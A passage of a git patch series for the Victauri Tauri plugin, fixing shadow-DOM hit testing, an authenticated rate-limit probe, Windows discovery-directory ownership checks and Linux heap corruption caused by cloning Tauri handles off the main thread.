const INIT_SCRIPT_BODY: &str = r#" return new RegExp('^' + re + '$'); } + // The element actually hit at (x, y), descending into open shadow roots (which + // `elementFromPoint` retargets to their host). Closed shadow roots stay at the host. + function deepElementFromPoint(doc, x, y) { + var hit = doc.elementFromPoint(x, y); + for (var depth = 0; hit && hit.shadowRoot && depth < 32; depth++) { + var inner = hit.shadowRoot.elementFromPoint(x, y); + if (!inner || inner === hit) break; + hit = inner; + } + return hit; + } + // `a` contains `b` across shadow boundaries (the composed tree), or is `b`. + function composedContains(a, b) { + for (var n = b; n; n = n.parentNode || n.host) { + if (n === a) return true; + } + return false; + } + // Find the first active route rule matching url+method, or null. // Never matches Victauri's own internal IPC traffic. // A route delay as setTimeout can honour it. Timers hold a signed 32-bit delay: anything @@ -371,8 +390,11 @@ const INIT_SCRIPT_BODY: &str = r#" } var cx = rect.left + rect.width / 2; var cy = rect.top + rect.height / 2; - var topEl = doc.elementFromPoint(cx, cy); - if (topEl && topEl !== el && !el.contains(topEl) && !topEl.contains(el)) { + // Hit-test THROUGH open shadow roots: `elementFromPoint` reports anything inside a + // shadow tree as its host, and `Node.contains` never crosses a shadow boundary, so every + // element in a web component (Lit, Shoelace, Ionic, ...) read as "covered by ". + var topEl = deepElementFromPoint(doc, cx, cy); + if (topEl && topEl !== el && !composedContains(el, topEl) && !composedContains(topEl, el)) { var tag = topEl.tagName ? topEl.tagName.toLowerCase() : 'unknown'; var info = tag; if (topEl.id) info += '#' + topEl.id; @@ -2827,9 +2849,9 @@ const INIT_SCRIPT_BODY: &str = r#" var xhrNet = new WeakMap(); var XHR_NET_GET = Function.prototype.call.bind(WeakMap.prototype.get); var XHR_NET_SET = Function.prototype.call.bind(WeakMap.prototype.set); - var XHR_NET_DELETE = Function.prototype.call.bind(WeakMap.prototype.delete); XMLHttpRequest.prototype.open = function(method, url) { - XHR_NET_DELETE(xhrNet, this); + // No early delete: an open() that throws leaves the previous request intact (spec), + // and a successful one replaces this entry below. if (arguments.length < 2) return REFLECT_APPLY(origOpen, this, arguments); // Convert ONCE, exactly as open() does (a URL object or anything with toString), and // hand open() the converted strings: what is logged is what is requested. A diff --git a/crates/victauri-plugin/src/mcp/hardening.rs b/crates/victauri-plugin/src/mcp/hardening.rs index 438886f8..72958d65 100644 --- a/crates/victauri-plugin/src/mcp/hardening.rs +++ b/crates/victauri-plugin/src/mcp/hardening.rs @@ -167,8 +167,6 @@ pub struct SplitRateLimit { pub authenticated: Arc, } -/// Axum middleware applying [`SplitRateLimit`]: 429 with `Retry-After: 1` when the caller's -/// bucket is empty. /// Close the connection after a guard refuses a request (401 / 403 / 415 / 429). /// /// A refused request costs the server microseconds, but its keep-alive connection then held one @@ -192,6 +190,8 @@ pub async fn close_on_rejection(request: Request, next: Next) -> Response { response } +/// Axum middleware applying [`SplitRateLimit`]: 429 with `Retry-After: 1` when the caller's +/// bucket is empty. pub async fn split_rate_limit( State(limits): State>, request: Request, diff --git a/crates/victauri-plugin/src/mcp/helpers.rs b/crates/victauri-plugin/src/mcp/helpers.rs index 68609636..b38ccd8a 100644 --- a/crates/victauri-plugin/src/mcp/helpers.rs +++ b/crates/victauri-plugin/src/mcp/helpers.rs @@ -541,7 +541,9 @@ pub fn trusted_focus_probe_js(ref_id: &str) -> String { /// where the element is actually hit: it runs the same checks as the bridge's /// actionability check for synthetic clicks (connected, enabled, visible, non-zero size, /// `pointer-events`, not covered at its center — the covering test is stricter: the hit -/// element must be the element or inside it) and then walks up through same-origin frames, +/// element must be the element or inside it; the hit test descends into open shadow roots, +/// whose content `elementFromPoint` otherwise reports as the shadow host) and then walks up +/// through same-origin frames, /// adding each frame's content offset and requiring the point to stay inside every /// viewport on the way and the frame itself to be the element hit there. Layout is page /// data, so the native side clamps the point to the window's client area as well. @@ -552,6 +554,11 @@ pub fn trusted_click_probe_js(ref_id: &str) -> String { if(!__e) return null; \ function __no(m){{return {{error:m}};}} \ function __in(w,x,y){{return x>=0&&y>=0&&x String { if(!(__b.width>0&&__b.height>0)) return __no('element has zero size'); \ var __x=__b.left+__b.width/2, __y=__b.top+__b.height/2; \ if(!__in(__w,__x,__y)) return __no('element center is outside the viewport'); \ - var __t=__d.elementFromPoint(__x,__y); \ - if(!__t||(__t!==__e&&!__e.contains(__t))) \ + var __t=__hit(__d,__x,__y); \ + if(!__t||!__within(__e,__t)) \ return __no('element is covered at its center point'+(__t&&__t.tagName?' by <'+__t.tagName.toLowerCase()+'>':'')); \ for(var __f=__w,__i=0;__f!==__f.top&&__i<32;__i++){{ \ var __fe=null; try{{__fe=__f.frameElement;}}catch(__x2){{__fe=null;}} \ @@ -575,7 +582,7 @@ pub fn trusted_click_probe_js(ref_id: &str) -> String { __x+=__r.left+(__fe.clientLeft||0)+(parseFloat(__c.paddingLeft)||0); \ __y+=__r.top+(__fe.clientTop||0)+(parseFloat(__c.paddingTop)||0); \ if(!__in(__p,__x,__y)) return __no('element center is outside the viewport (clipped by its frame)'); \ - if(__p.document.elementFromPoint(__x,__y)!==__fe) \ + if(__hit(__p.document,__x,__y)!==__fe) \ return __no('the frame holding the element is covered at the click point'); \ __f=__p; \ }} \ diff --git a/crates/victauri-plugin/tests/trusted_input_probes.rs b/crates/victauri-plugin/tests/trusted_input_probes.rs index 34fc0967..f13fd788 100644 --- a/crates/victauri-plugin/tests/trusted_input_probes.rs +++ b/crates/victauri-plugin/tests/trusted_input_probes.rs @@ -246,4 +246,74 @@ mod trusted_probe_js { assert_eq!(results[4]["x"], 150.0, "{}", results[4]); assert_eq!(results[4]["y"], 226.0, "{}", results[4]); } + + /// A button inside an OPEN shadow root, hit-tested the way a browser does: + /// `document.elementFromPoint` reports the shadow HOST (retargeting); only the shadow root's + /// own `elementFromPoint` sees the button. `cover_inner` makes something else inside the + /// shadow tree the hit element instead. + fn shadow_setup(cover_inner: bool) -> String { + format!( + "var h = document.createElement('div'); h.id = 'host'; document.body.appendChild(h); \ + var sr = h.attachShadow({{mode: 'open'}}); \ + sr.innerHTML = 'cover'; \ + document.elementFromPoint = function () {{ return h; }}; \ + sr.elementFromPoint = function () {{ return sr.getElementById('{}'); }};", + if cover_inner { "sc" } else { "sb" } + ) + } + + /// Round 4 (regression review): `elementFromPoint` retargets to the shadow host and + /// `Node.contains` never crosses a shadow boundary, so EVERY element inside a web component + /// read as "covered by " — refused for trusted clicks and, since the actionability + /// check was added, for synthetic `interact click` too (reproduced live on `WebView2`). + #[test] + fn clicks_reach_elements_inside_open_shadow_roots() { + let probe = trusted_click_probe_js("__VREF__"); + let synthetic = "return await window.__VICTAURI__.click(\"__VREF__\")".to_string(); + let open = shadow_setup(false); + let covered = shadow_setup(true); + let find = "{text:'Shadow Go'}"; + let Some(results) = run(&[ + ("trusted: shadow button", PAGE, &open, find, probe.clone()), + ( + "trusted: covered inside the shadow tree", + PAGE, + &covered, + find, + probe, + ), + ( + "synthetic: shadow button", + PAGE, + &open, + find, + synthetic.clone(), + ), + ( + "synthetic: covered inside the shadow tree", + PAGE, + &covered, + find, + synthetic, + ), + ]) else { + return; + }; + assert!( + results[0]["x"].is_number(), + "trusted shadow click: {}", + results[0] + ); + assert!( + results[1]["error"].is_string(), + "trusted covered: {}", + results[1] + ); + assert_eq!( + results[2]["ok"], true, + "synthetic shadow click: {}", + results[2] + ); + assert_eq!(results[3]["ok"], false, "synthetic covered: {}", results[3]); + } } diff --git a/crates/victauri-test/src/client.rs b/crates/victauri-test/src/client.rs index 46ac5990..e0bbb321 100644 --- a/crates/victauri-test/src/client.rs +++ b/crates/victauri-test/src/client.rs @@ -44,16 +44,19 @@ const MAX_TOOL_TIMEOUT_MS: u64 = 300_000; /// caller-chosen `timeout_ms` (e.g. `wait_for`, which accepts up to 120 000 ms) /// need the HTTP timeout to outlast that wait; otherwise the client gives up at /// the fixed 60 s default while the server is still legitimately waiting. +/// +/// A tool call WITHOUT `timeout_ms` is bounded server-side by the app's configured eval timeout, +/// which can be up to 300 s; the client must not give up first, or a retry would run a +/// side-effecting call twice (round-4 review — the same class `victauri bridge` fixed). The +/// server still answers as soon as the call finishes, so this never slows a normal call. fn request_timeout_for(arguments: &Value) -> Duration { - arguments + let ms = arguments .get("timeout_ms") .and_then(Value::as_u64) - .map_or(DEFAULT_REQUEST_TIMEOUT, |ms| { - DEFAULT_REQUEST_TIMEOUT.max( - Duration::from_millis(ms.min(MAX_TOOL_TIMEOUT_MS)) - .saturating_add(TOOL_TIMEOUT_HEADROOM), - ) - }) + .unwrap_or(MAX_TOOL_TIMEOUT_MS); + DEFAULT_REQUEST_TIMEOUT.max( + Duration::from_millis(ms.min(MAX_TOOL_TIMEOUT_MS)).saturating_add(TOOL_TIMEOUT_HEADROOM), + ) } /// Whether an HTTP status from `GET /health` proves the Victauri server is alive. @@ -2563,7 +2566,9 @@ mod transport_tests { #[test] fn request_timeout_outlasts_tool_wait() { - assert_eq!(request_timeout_for(&json!({})), DEFAULT_REQUEST_TIMEOUT); + // No `timeout_ms`: the server bounds the call by the app's eval timeout (up to 300 s), + // so the client must outlast that ceiling, not give up at 60 s and invite a retry. + assert_eq!(request_timeout_for(&json!({})), Duration::from_secs(340)); assert_eq!( request_timeout_for(&json!({"timeout_ms": 5_000})), DEFAULT_REQUEST_TIMEOUT diff --git a/editors/vscode/src/client.ts b/editors/vscode/src/client.ts index 69d2599f..280f7e9e 100644 --- a/editors/vscode/src/client.ts +++ b/editors/vscode/src/client.ts @@ -56,6 +56,21 @@ export function healthStatusMeansAlive(status: number): boolean { return (status >= 200 && status < 300) || status === 429; } +/** What an `/info` answer says about the auth probe. */ +export type AuthProbeVerdict = "ok" | "unauthorized" | "rate-limited" | "error"; + +/** + * Classify the authenticated `/info` probe's status. A `429` is NOT a pass: a request carrying + * the correct token draws from its own rate-limit bucket, which an unauthenticated flood cannot + * drain, so a 429 here most likely means the token was not accepted (round-4 review) — the + * caller retries and then reports it instead of showing "connected". + */ +export function authProbeVerdict(status: number): AuthProbeVerdict { + if (status === 401) return "unauthorized"; + if (status === 429) return "rate-limited"; + return status >= 200 && status < 300 ? "ok" : "error"; +} + export class VictauriClient { private baseUrl = ""; private token = ""; @@ -123,10 +138,21 @@ export class VictauriClient { * Throws on a network error, a 401, or any non-2xx status. */ async probeAuthenticated(): Promise { - const resp = await this.fetch("/info"); - // Rate-limited: the server answered, so it is alive — don't report a disconnect because - // a local process is flooding the public rate-limit bucket (R4-NET1). - if (resp.status === 429) return; + let resp = await this.fetch("/info"); + // A 429 is transient only for a caller whose token is accepted (its own bucket); retry a + // few times, honouring Retry-After, and then say so rather than claim "connected". + for (let attempt = 0; attempt < 3 && authProbeVerdict(resp.status) === "rate-limited"; attempt++) { + const wait = Math.min(5, Number(resp.headers.get("retry-after")) || 1); + await new Promise((r) => setTimeout(r, wait * 1000)); + resp = await this.fetch("/info"); + } + if (authProbeVerdict(resp.status) === "rate-limited") { + throw new Error( + "Rate-limited (429) on an authenticated request: the auth token was probably not " + + "accepted (a correct token has its own rate-limit bucket). Check `victauri.authToken` " + + "or the app's discovery token." + ); + } if (resp.status === 401) { throw new Error( "Unauthorized (401): the auth token is missing or wrong. Auth is on by " + diff --git a/editors/vscode/test/discovery.test.ts b/editors/vscode/test/discovery.test.ts index 65bf9847..16db72de 100644 --- a/editors/vscode/test/discovery.test.ts +++ b/editors/vscode/test/discovery.test.ts @@ -6,7 +6,7 @@ import * as fs from "node:fs"; import * as os from "node:os"; import * as path from "node:path"; -import { healthStatusMeansAlive } from "../src/client"; +import { authProbeVerdict, healthStatusMeansAlive } from "../src/client"; import { DiscoveredServer, pidLiveness, @@ -104,3 +104,10 @@ test("a rate-limited /health means the server is alive", () => { assert.equal(healthStatusMeansAlive(401), false); assert.equal(healthStatusMeansAlive(503), false); }); + +test("an authenticated /info 429 is not a successful auth probe", () => { + assert.equal(authProbeVerdict(200), "ok"); + assert.equal(authProbeVerdict(401), "unauthorized"); + assert.equal(authProbeVerdict(429), "rate-limited"); + assert.equal(authProbeVerdict(500), "error"); +}); diff --git a/examples/demo-app/Cargo.toml b/examples/demo-app/Cargo.toml index ca3302e5..d24186e0 100644 --- a/examples/demo-app/Cargo.toml +++ b/examples/demo-app/Cargo.toml @@ -18,7 +18,7 @@ tauri = { workspace = true, features = ["wry", "x11"] } serde = { workspace = true } serde_json = { workspace = true } # Seeds demo.db so query_db / introspect db_health have a real application database. -rusqlite = { workspace = true } +rusqlite = { workspace = true, features = ["bundled"] } [dev-dependencies] victauri-test = { workspace = true } From 659e353fac9372fa2404a02850f187dd24010b78 Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 01:47:41 +1000 Subject: [PATCH 094/167] fix(discovery): accept a discovery root owned by BUILTIN\Administrators for its members (Windows) An app started from an elevated PowerShell/cmd creates %TEMP%\victauri owned by the Administrators group (an elevated token's default owner). A later app of the SAME user started from Git Bash (the MSYS runtime sets the default owner to the user SID) or unelevated only accepted [TokenUser, TokenOwner] = the user, refused the root, and silently never registered for discovery until the directory was deleted by hand. Reproduced on the audit machine (the pre-push gate's port_file_roundtrip failed 5/5 from Git Bash after a PowerShell-launched app recreated the root); passes 3/3 with the fix. Pre-existing, Windows-only. The owner check now also accepts BUILTIN\Administrators when the token lists it among its groups (enabled or deny-only). %TEMP% is per-user and every member of that group can already read it, so this concedes nothing; a root owned by any other principal is still refused. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- crates/victauri-plugin/src/mcp/server.rs | 88 +++++++++++++++++++++++- 1 file changed, 86 insertions(+), 2 deletions(-) diff --git a/crates/victauri-plugin/src/mcp/server.rs b/crates/victauri-plugin/src/mcp/server.rs index 583e65cd..126b0439 100644 --- a/crates/victauri-plugin/src/mcp/server.rs +++ b/crates/victauri-plugin/src/mcp/server.rs @@ -707,13 +707,97 @@ fn token_sid(class: windows::Win32::Security::TOKEN_INFORMATION_CLASS) -> Option /// process creates are owned by that group, not the user. Accepting either is what makes /// the ownership check correct under elevation (where it would otherwise reject every /// directory we create and break discovery entirely). +/// +/// Also `BUILTIN\Administrators` when this account is a member of it (enabled or deny-only): +/// an app started from an elevated PowerShell/cmd creates the discovery root owned by that +/// group, while a later app of the SAME user started from Git Bash (whose runtime sets the +/// default owner to the user) or unelevated has only the user as owner — it refused the root +/// and silently never registered for discovery until the directory was deleted by hand +/// (round 4, reproduced on this machine). `%TEMP%` is per-user, and every member of that group +/// can already read everything in it, so accepting the group concedes nothing. #[cfg(windows)] fn acceptable_owner_sids() -> Vec { use windows::Win32::Security::{TokenOwner, TokenUser}; - [TokenUser, TokenOwner] + let mut sids: Vec = [TokenUser, TokenOwner] .into_iter() .filter_map(token_sid) - .collect() + .collect(); + sids.extend(builtin_administrators_sid_if_member()); + sids +} + +/// The `BUILTIN\Administrators` SID when the current token lists it among its groups, with +/// any attributes (an unelevated admin holds it deny-only; it is still this account's group). +#[cfg(windows)] +#[allow(unsafe_code)] +fn builtin_administrators_sid_if_member() -> Option { + use windows::Win32::Foundation::{CloseHandle, HANDLE}; + use windows::Win32::Security::{ + CreateWellKnownSid, EqualSid, GetTokenInformation, PSID, SECURITY_MAX_SID_SIZE, + TOKEN_GROUPS, TOKEN_QUERY, TokenGroups, WinBuiltinAdministratorsSid, + }; + use windows::Win32::System::Threading::{GetCurrentProcess, OpenProcessToken}; + + struct TokenGuard(HANDLE); + impl Drop for TokenGuard { + fn drop(&mut self) { + // SAFETY: `self.0` came from `OpenProcessToken` and is closed exactly once. + unsafe { + let _ = CloseHandle(self.0); + } + } + } + + let mut admins = vec![0_u8; SECURITY_MAX_SID_SIZE as usize]; + let mut admins_len = SECURITY_MAX_SID_SIZE; + // SAFETY: `admins` is writable for `admins_len` bytes, the documented maximum SID size. + unsafe { + CreateWellKnownSid( + WinBuiltinAdministratorsSid, + None, + Some(PSID(admins.as_mut_ptr().cast::())), + &raw mut admins_len, + ) + .ok()?; + } + admins.truncate(admins_len as usize); + let admins = OwnedSid(admins); + + let mut token = HANDLE::default(); + // SAFETY: pseudo-handle for the current process; `token` is a writable out-param, closed by + // `TokenGuard` on success. + unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &raw mut token).ok()? }; + let _guard = TokenGuard(token); + let mut len = 0_u32; + // SAFETY: size probe (null buffer); fails with ERROR_INSUFFICIENT_BUFFER, setting `len`. + unsafe { + let _ = GetTokenInformation(token, TokenGroups, None, 0, &raw mut len); + } + if (len as usize) < std::mem::size_of::() { + return None; + } + // u64-backed so the TOKEN_GROUPS header (u32 count + pointer-aligned array) is aligned. + let mut buf = vec![0_u64; (len as usize).div_ceil(8)]; + // SAFETY: `buf` is writable for at least `len` bytes; on success it holds a TOKEN_GROUPS. + unsafe { + GetTokenInformation( + token, + TokenGroups, + Some(buf.as_mut_ptr().cast::()), + len, + &raw mut len, + ) + .ok()?; + } + // SAFETY: `buf` holds a TOKEN_GROUPS whose `Groups` array has `GroupCount` entries, all + // within the buffer the call filled. + let member = unsafe { + let groups = &*buf.as_ptr().cast::(); + std::slice::from_raw_parts(groups.Groups.as_ptr(), groups.GroupCount as usize) + .iter() + .any(|g| EqualSid(g.Sid, admins.as_psid()).is_ok()) + }; + member.then_some(admins) } /// True iff `path` exists and its owner SID is one this process would create objects as From 6d4ce97194254462221db57276200d74736fcfb9 Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 01:57:25 +1000 Subject: [PATCH 095/167] =?UTF-8?q?revert(bridge):=20drop=20the=20dispatch?= =?UTF-8?q?-gate=20yield=20spin=20=E2=80=94=20it=20crashed=20the=20WebKitG?= =?UTF-8?q?TK=20host=20in=20CI?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 31442cb added a yield spin (instead of the 2 ms sleep) while a caller waits for an abandoned main-thread closure to finish. CI's ubuntu E2E host then aborted with heap corruption (`malloc_consolidate(): unaligned fastbin chunk detected`) 2/2, on the same runner image where d246eef was green; 31442cb minus only the spin (PR #74) passed. The spin was a latency nicety for Windows' coarse timer; the serialization it sat next to exists to prevent exactly this race, so it goes. CHANGELOG corrected. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- CHANGELOG.md | 6 ++++-- crates/victauri-plugin/src/bridge.rs | 12 +++--------- 2 files changed, 7 insertions(+), 11 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ffe64d92..7ca7c39c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -123,8 +123,10 @@ parameters (`$a(')`… is one token) and passed one stacked query the old checke rusqlite range forced `bundled` onto the app's rusqlite (now a separate default feature, `bundled-sqlite`, with an opt-out); `victauri-test` cut tool calls without `timeout_ms` off at 60 s while the server allows 300 s; the VS Code extension counted a 429 on the authenticated probe -as success; plus a garbled error message, a stray doc comment, a lost XHR log entry after a -throwing `open()`, and a spurious up-to-15 ms wait between main-thread round trips on Windows. +as success; plus a garbled error message, a stray doc comment, and a lost XHR log entry after a +throwing `open()`. (A proposed yield spin to shave up to ~15 ms off back-to-back main-thread round +trips on Windows was reverted: with it the Linux/WebKitGTK E2E host crashed with heap corruption in +CI 2/2, without it passed — a latency nicety is not worth reopening that race.) **Disproved in round 4** (tested, not defects): eval ids leaking via `.caller` (V8 blocks the second hop); `PRAGMA quick_check` overrunning its deadline on a 1.47 GB database (3.8 s); discovery diff --git a/crates/victauri-plugin/src/bridge.rs b/crates/victauri-plugin/src/bridge.rs index 817202b2..574f514c 100644 --- a/crates/victauri-plugin/src/bridge.rs +++ b/crates/victauri-plugin/src/bridge.rs @@ -388,16 +388,10 @@ where // (it started, then outlived that caller's timeout + grace). Wait for it — bounded by this // caller's own deadline, so callers never stack into N * timeout — before putting a second // round trip in flight beside it. - // The previous closure usually finishes a few instructions after its caller was answered - // (its in-flight guard drops just after the result is sent), so yield briefly before - // falling back to sleeping — a 2 ms sleep costs up to ~15 ms on Windows' timer. - let mut spins = 0u32; + // Deliberately a plain sleep, not a yield spin: re-dispatching the moment the previous + // closure's guard drops crashed the WebKitGTK host (heap corruption) in CI — a spin reverted + // in round 4 after CI crashed 2/2 with it and 2/2 passed without it (PR #74). while gate.in_flight.load(std::sync::atomic::Ordering::Acquire) != 0 { - if spins < 256 { - spins += 1; - std::thread::yield_now(); - continue; - } let remaining = deadline.saturating_duration_since(std::time::Instant::now()); if remaining.is_zero() { return Err(format!( From ae033e8b0252c6b37babc2f9e25ae4010931e33a Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 13:20:58 +1000 Subject: [PATCH 096/167] =?UTF-8?q?fix(plugin):=20never=20clone=20or=20dro?= =?UTF-8?q?p=20a=20Tauri=20handle=20off=20the=20main=20thread=20=E2=80=94?= =?UTF-8?q?=20the=20Linux=20host=20heap=20corruption?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Root cause of the Linux/WebKitGTK host crashes (glibc "corrupted double-linked list" / "unaligned fastbin chunk") that round-4 builds hit in 25-50% of CI stress runs, and that 0.8.8's dispatch lock only made rarer. On Linux every Tauri handle (AppHandle, Webview, WebviewWindow) carries tauri-runtime-wry's Context, which holds the main-thread DispatcherMainThreadContext BY VALUE (unsafe impl Send/Sync, "only used on the main thread"), which holds tao's EventLoopWindowTarget, which holds `windows: Rc>>`. Cloning or dropping any handle therefore bumps a NON-ATOMIC refcount that the main thread bumps constantly. Victauri did that on every tool call, twice: - `bridge::on_main` cloned the AppHandle on the calling (tokio) thread for each round trip. Now the closure takes a handle cloned ON the main thread (installed from plugin setup), and the caller only borrows `app` to post it (AppHandle::run_on_main_thread does not clone). - `victauri_eval_callback` — hit by every eval, drain tick, snapshot and bridge-ready signal — was an async command. Tauri extracts an async command's arguments and runs/drops its resolver (which holds a Webview) on a tokio worker. It is now synchronous (Tauri runs sync commands inline in the IPC handler, on the main thread); result delivery takes a non-blocking fast path or hands owned data (no handle) to a tokio task. - The other page-callable commands that never await are synchronous too for the same reason; eval_js / dom_snapshot must stay async (they wait for the page) — documented residual. Proof, with no Victauri in the process (a demo-app build running the same load in-process): background threads that ONLY clone+drop the AppHandle while the page makes IPC calls aborted 3/3; 12 threads of run_on_main_thread round trips with an off-thread clone aborted 5/5 (also 5/5 with an empty closure, 3/5 with no IPC at all); the same load with the handle taken on the main thread ran 10/10 clean. Measured locally in WSL (which never reproduced the Victauri suite). Gate: fmt, clippy (default / no-default / release) -D warnings, cargo doc -D warnings, workspace tests 1904 passed / 0 failed. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- crates/victauri-plugin/src/bridge.rs | 61 +++++++++++++++++++++++++--- crates/victauri-plugin/src/lib.rs | 4 +- crates/victauri-plugin/src/tools.rs | 55 ++++++++++++++++++------- 3 files changed, 99 insertions(+), 21 deletions(-) diff --git a/crates/victauri-plugin/src/bridge.rs b/crates/victauri-plugin/src/bridge.rs index 574f514c..e70da60b 100644 --- a/crates/victauri-plugin/src/bridge.rs +++ b/crates/victauri-plugin/src/bridge.rs @@ -272,6 +272,32 @@ pub(crate) fn record_main_thread() { let _ = MAIN_THREAD.set(std::thread::current().id()); } +thread_local! { + /// An app handle owned by the main thread and only ever cloned or dropped there (installed + /// by [`install_main_app`] from plugin `setup`). `on_main` closures take their handle from + /// here instead of from a clone made on the calling thread — see [`on_main`] for why a + /// Tauri handle must never be cloned or dropped off the main thread. + static MAIN_APP: std::cell::RefCell>> = + const { std::cell::RefCell::new(None) }; +} + +/// Keep a main-thread-owned clone of `app` for `on_main` closures. Must be called ON the main +/// thread (plugin `setup`, which Tauri runs there); a call from any other thread stores into that +/// thread's slot, which no closure ever reads. +pub(crate) fn install_main_app(app: &tauri::AppHandle) { + MAIN_APP.with(|slot| *slot.borrow_mut() = Some(Box::new(app.clone()))); +} + +/// The main thread's own app handle (a clone made HERE, on the main thread), if installed. +fn main_app() -> Option> { + MAIN_APP.with(|slot| { + slot.borrow() + .as_ref() + .and_then(|any| any.downcast_ref::>()) + .cloned() + }) +} + /// Whether the current thread is the recorded Tauri main thread (false if not yet recorded). fn is_main_thread() -> bool { MAIN_THREAD @@ -291,6 +317,20 @@ fn is_main_thread() -> bool { /// `STATUS_*_BUFFER_OVERRUN` once Rust's debug `assert_unchecked` on `Rc::inc_strong` /// (1.78+) starts checking it. See Tauri issue #10001 for the identical crash class. /// +/// **The same applies to the `AppHandle` itself — never clone or drop one off the main thread.** +/// On Linux every Tauri handle (`AppHandle`, `Webview`, `WebviewWindow`) carries +/// tauri-runtime-wry's `Context`, which holds the main-thread `DispatcherMainThreadContext` BY +/// VALUE, which holds tao's `EventLoopWindowTarget`, which holds `windows: +/// Rc>>`. So cloning or dropping any handle bumps a NON-ATOMIC count +/// that the main thread bumps all the time (IPC, window access). This function used to clone +/// the `AppHandle` on the calling thread for every round trip; under concurrent introspection +/// that corrupted the heap (glibc `corrupted double-linked list` / `unaligned fastbin chunk`) on +/// Linux/WebKitGTK. Proven without Victauri: a bare Tauri app whose background threads only +/// clone+drop its `AppHandle` while the page makes IPC calls aborted 3/3; 12 threads doing +/// `run_on_main_thread` with an off-thread clone aborted 5/5, and 5/5 with an EMPTY closure. +/// So the closure takes a handle cloned ON the main thread ([`install_main_app`]), and the +/// caller only borrows `app` to post it (`AppHandle::run_on_main_thread` does not clone). +/// /// `run_on_main_thread` marshals the closure onto the UI thread (and runs it inline if we are /// already on it), so all `Rc` access stays single-threaded. The closure's value comes back /// over a oneshot `std::sync::mpsc` channel; the bounded `recv` is a safety net against a @@ -326,7 +366,9 @@ where } let round_trip = move || -> Result { - let app_for_closure = app.clone(); + // No handle is cloned here, on the calling thread (see above): the closure takes the + // main thread's own handle, and `app` is only borrowed to post it. + let owned_what = what.to_string(); serialized_round_trip( &MAIN_DISPATCH_LOCK, what, @@ -335,8 +377,15 @@ where app.run_on_main_thread(job) .map_err(|e| format!("failed to dispatch {what} to the main thread: {e}")) }, - move || f(&app_for_closure), - ) + move || { + main_app::().map(|main| f(&main)).ok_or_else(|| { + format!( + "{owned_what}: the main-thread app handle is not installed (the plugin \ + setup has not run)" + ) + }) + }, + )? }; // Blocking here must not park a tokio runtime worker — under a wedged UI that could @@ -388,9 +437,9 @@ where // (it started, then outlived that caller's timeout + grace). Wait for it — bounded by this // caller's own deadline, so callers never stack into N * timeout — before putting a second // round trip in flight beside it. - // Deliberately a plain sleep, not a yield spin: re-dispatching the moment the previous - // closure's guard drops crashed the WebKitGTK host (heap corruption) in CI — a spin reverted - // in round 4 after CI crashed 2/2 with it and 2/2 passed without it (PR #74). + // A plain sleep. (Round 4 briefly tried a yield spin here and removed it while chasing a + // Linux heap abort; the abort's real cause was the off-main-thread `AppHandle` clone + // documented on `on_main`, not the wait.) while gate.in_flight.load(std::sync::atomic::Ordering::Acquire) != 0 { let remaining = deadline.saturating_duration_since(std::time::Instant::now()); if remaining.is_zero() { diff --git a/crates/victauri-plugin/src/lib.rs b/crates/victauri-plugin/src/lib.rs index 0e609147..7afad87e 100644 --- a/crates/victauri-plugin/src/lib.rs +++ b/crates/victauri-plugin/src/lib.rs @@ -872,8 +872,10 @@ impl VictauriBuilder { Ok(Builder::new("victauri") .setup(move |app, _api| { // Tauri runs plugin setup on the main (UI) thread — record it so the bridge - // can run main-thread callers inline instead of deadlocking on its lock. + // can run main-thread callers inline instead of deadlocking on its lock, and + // give the bridge a handle owned by that thread (see `bridge::on_main`). bridge::record_main_thread(); + bridge::install_main_app(app); let startup_timeline = introspection::StartupTimeline::new(); let event_log = EventLog::new(event_capacity); startup_timeline.mark("event_log_created"); diff --git a/crates/victauri-plugin/src/tools.rs b/crates/victauri-plugin/src/tools.rs index 111a14ed..bd30d2ab 100644 --- a/crates/victauri-plugin/src/tools.rs +++ b/crates/victauri-plugin/src/tools.rs @@ -134,8 +134,16 @@ pub async fn victauri_eval_js( } } +/// Deliberately a SYNCHRONOUS command. Every eval, drain tick, snapshot and bridge-ready signal +/// comes back through here. Tauri runs an `async` command on a tokio worker and drops its +/// resolver — which holds a `Webview`, i.e. a Tauri handle — there; on Linux that is an +/// off-main-thread drop of a non-atomic `Rc` (see `bridge::on_main`), and at this call rate it +/// corrupted the host's heap. A sync command runs on the main thread, where its `webview` +/// argument and its resolver are created and dropped. Result delivery never blocks that thread: +/// an uncontended map is updated in place, otherwise owned data (no Tauri handle) is handed to +/// a tokio task. #[tauri::command] -pub async fn victauri_eval_callback( +pub fn victauri_eval_callback( webview: tauri::Webview, state: State<'_, Arc>, id: String, @@ -155,12 +163,27 @@ pub async fn victauri_eval_callback( state.page_loads.record_load(webview.label(), nonce); return Ok(()); } - if let Some(tx) = state.pending_evals.lock().await.remove(&id) { - let _ = tx.send(result); - } + deliver_eval_result(Arc::clone(state.inner()), id, result); Ok(()) } +/// Hand an eval result to the caller waiting on `id` without blocking the calling (main) +/// thread: in place when the pending map is free, else from a tokio task holding only owned +/// data. +fn deliver_eval_result(state: Arc, id: String, result: String) { + if let Ok(mut pending) = state.pending_evals.try_lock() { + if let Some(tx) = pending.remove(&id) { + let _ = tx.send(result); + } + return; + } + tauri::async_runtime::spawn(async move { + if let Some(tx) = state.pending_evals.lock().await.remove(&id) { + let _ = tx.send(result); + } + }); +} + #[tauri::command] pub async fn victauri_dom_snapshot( webview: tauri::WebviewWindow, @@ -210,8 +233,14 @@ pub async fn victauri_dom_snapshot( } } +// The page-callable commands below are SYNCHRONOUS on purpose (none of them waits for anything): +// Tauri runs an `async` command on a tokio worker and creates and drops its arguments and its +// resolver there, and every Tauri handle among them carries a non-atomic `Rc` on Linux (see +// 